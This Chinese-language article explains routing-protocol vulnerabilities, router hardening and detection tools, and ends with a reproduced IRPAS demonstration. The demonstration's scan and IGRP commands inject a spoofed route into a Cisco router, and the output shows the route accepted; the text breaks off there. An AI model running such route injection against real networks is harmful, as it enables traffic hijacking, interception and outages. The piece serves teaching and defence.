此文章讨论了有关对网络底层协议的攻击和防止攻击的方法,特别是关于路由和路由
协议的漏洞,如Routing Information Protocol (RIP,路由信息协议), Border Gateway
Protocol (边缘网关协议), Open Shortest Path First (OSPF,开放最短路径优先协议)等。
路由器在每个网络中起到关键的作用,如果一路由器被破坏或者一路由被成功的欺骗,
网络的完整性将受到严重的破坏,如果使用路由的主机没有使用加密通信那就更为严重,
因为这样的主机被控制的话,将存在着中间人(man-in-the-middle)攻击,拒绝服务攻击,
数据丢失,网络整体性破坏,和信息被嗅探等攻击。
路由是一个巨大又复杂的话题,所以本人只是在此提到一部分知识,而且水平的关系,
请大家多多指教。
关于一些很普遍的路由器安全问题
多种路由器存在各种众所周知的安全问题,一些网络底层设备提供商如Cisco, Livingston,
Bay等的普通安全问题大家可以参考下面地址,其中收集了不少安全漏洞:
http://www.antionline.com/cgi-bin/anticode/anticode.pl?dir=router-exploits
上面地址所收集的漏洞大部分无关于路由协议级的攻击,而是一些由于错误配置,IP信息包错误
处理,SNMP存在默认的communit name string,薄弱密码或者加密算法不够强壮而造成。上面
的一些攻击一般一个标准的NIDS都能够探测出来。这些类型的攻击对网络底层有一定的削弱性
并可以组合一些高极别的协议进行攻击。
正确的配置管理可以处理不少普通的漏洞,如你必须处理一些标准的规程:不使用SNMP(
或者选择强壮的密码),保持补丁程序是最新的,正确处理访问控制列表,出入过滤,防火墙,
加密管理通道和密码,路由过滤和使用MD5认证。当然在采用这些规程之前你必须知道这些
安全规则的相关的含义和所影响到的服务。
近来有关的一些低部构造防卫检测系统的开发
近来的在网络防护开发项目中比较不错的是一个IDS叫JiNao,你可以在下面的地址找到
相关的内容:http://www.anr.mcnc.org/projects/JiNao/JiNao.html. JiNao是由DARPA发起
的,并现在成为一个合作研究项目由MCNC和北卡罗莱纳州大学共同开发。JiNao在FreeBSD和
Linux上运行的是在线模式(使用divert sockets),在Solaris运行在离线模式,并在3个网络
上测试-MCNC,NCSU和由PC(操作系统做路由)和商业路由器组合的AF/Rome 实验室。测试
结果显示了可以成功的防止多种类型的网络底层攻击并能很好的高精度的探测这些攻击。
当前,JiNao看起来在研究关于Open Shortest Path First (OSPF,开放最短路径优先)协议,
并且最终JiNao会延伸到各种协议。JiNao指出,防卫攻击和入侵探测将会集成在网络管理内
容中,所以JINao现在正趋向于网络防火墙,入侵探测系统和网络管理系统组合一体。
还有一个工具可以很好的分析高级的协议,如Agilent Advisor
(http://onenetworks.comms.agilent.com/)的网络分析工具,它能很好的支持多种路由协议并
能定制过滤器来探测各种不正常的行为。
一些工作于路由协议的工具
Linux divert sockets描述到:"Divert socket能够在末端主机也能在路由器上进行IP信息
包捕获和注入,信息包的捕获和插入发生在IP层上,捕获的信息包在用户空间转向到套接口中,
因此这些信息包将不会达到它们的最终目的地,除非用户空间套接口重插入它们。这样在信息
包捕获和重新插入之间可以在系统系统内核之外允许各种不同的操作(如路由和防火墙)."
(http://www.anr.mcnc.org/~divert/).简单的说divert socket就是由user space(用户空间)
的程序来处理kernel(内核)中的IP packet(IP信息包),这个divert socket最早应用与FreeBSD
系统中,如NAT就是应用了divert socket。这样使开发程序很容易,因为在用户层,而处理IP
packet(IP信息包)的效率也比较高,因为是直接处理kernel(内核)中的IP packet(IP信息包)。
大家可以在下面的地址中找到相关的Divert socket:http://www.anr.mcnc.org/~divert/.
Divert socket就象上面说最早实现于FreeBSD中,现在已经移植到Linux中并作为JiNao IDS项目
的一部分采用。
另一个叫Nemesis Packet Injection suite,是一个比较强大的网络和安全工具,由Obecian
开发,你可以在下面的地址获得:http://www.packetninja.net.最新的nemesis-1.1发行在2000年
6月24号。Nemesis是一个"命令行式的UNIX网络信息包插入套件",并是一个很好的测试防火墙,
入侵探测系统,路由器和其他网络环境的工具。它可以被攻击者使用和授权渗透探测者在主机和
网络级的网络安全环境检测。其中这个站点还有一个演化的Nemesis叫Intravenous,发行于11/30/00.
Intravenous看起来承载了Nemesis所有基本功能,其中不同的是增加了人工智能引擎的内容。更多
有关Intravenous的信息你可以在packetninja.net站点里找到.
----------------------------
IRPAS,Internetwork Routing Protocol Attack Suite,由FX所写,可以在下面的站点找到
http://www.phenoelit.de/irpas/.IRPAS包含了各种可工作于Cisco路由设备的协议层的命令行工具,
包括如下这些命令:
cdp--可发送Cisco router Discovery Protocol (CDP CISCO路由发现协议)消息;
igrp是能插入Interior Gateway Routing Protocol (IGRP 内部网关路由协议)消息;irdp用来
发送ICMP Router Discovery Protocol (ICMP路由发现协议)消息;
irdresponder--可使用精心制作的信息包来响应IRDP请求;
ass--Autonomous System Scanner(自主系统扫描器,现在可下载的版本只支持IGRP),这里解释
下Autonomous system,即一般所说的AS,简单的说是一组内部路由器,使用共同协议交流内部网络
的信息,更直接的说法就是这些路由器自己自主,交流信息。与之相反的是我们经常知道的外部路
由器如一般的电信节点处的路由器。典型的AS使用单一的路由协议在它的边界产生和传播路由信息。
ass就类似于TCP端口扫描器一样,只不过其是针对自主系统的。使用ass扫描的话,如果自主系统应
答,将返回路由进程中的所有路由信息。IRPAS 的网站也包含一条关于Generic Routing Encapsulation
(GRE 一般路由封装) 漏洞的文档,其中这个Generic Routing Encapsulation (GRE 一般路由封装)
漏洞允许外部攻击者绕过NAT和破坏一通过VPN的内部RFC1918网络。这份文档大家可以在下面的地址
获得:http://www.phenoelit.de/irpas/gre.html,其中在其他章节还包含了更多的信息和通过irpas的
可能攻击策略.
irpas的开发者FX,发送了由ass新版本2.14(还没有发布)扫描的AS样本和igrp怎样利用ass
的信息(AS #10和其他数据)来插入一欺骗的路由给222.222.222.0/24。虽然IGRP协议目前不是很多使用,
但这个例子却是相当的不错。下面是FX测试的结果:
test# ./ass -mA -i eth0 -D 192.168.1.10 -b15 -v
(这里的-i是接口,-D是目的地址,-b15指的是自主系统0-15之间
ASS [Autonomous System Scanner] $Revision: 2.14 $
(c) 2k FX
Phenoelit (http://www.phenoelit.de)
No protocols selected; scanning all
Running scan with:
interface eth0
Autonomous systems 0 to 15
delay is 1
in ACTIVE mode
Building target list ...
192.168.1.10 is alive
Scanning ...
Scanning IGRP on 192.168.1.10
Scanning IRDP on 192.168.1.10
Scanning RIPv1 on 192.168.1.10
shutdown ...
OK,得到以下的结果
Results
192.168.1.10
IGRP
#AS 00010 10.0.0.0 (50000,1111111,1476,255,1,0)
IRDP
192.168.1.10 (1800,0)
192.168.9.99 (1800,0)
RIPv1
10.0.0.0 (1)
test# ./igrp -i eth0 -f routes.txt -a 10 -S 192.168.1.254 -D 192.168.1.10
当然这里的routes.txt需要你自己指定:
routes.txt:
# format
# destination:delay:bandwith:mtu:reliability:load:hopcount
222.222.222.0:500:1:1500:255:1:0
Cisco#sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, * - candidate default
U - per-user static route
Gateway of last resort is not set
10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C 10.1.2.0/30 is directly connected, Tunnel0
S 10.0.0.0/8 is directly connected, Tunnel0
C 192.168.9.0/24 is directly connected, Ethernet0
C 192.168.1.0/24 is directly connected, Ethernet0
I 222.222.222.0/24 [100/1600] via 192.168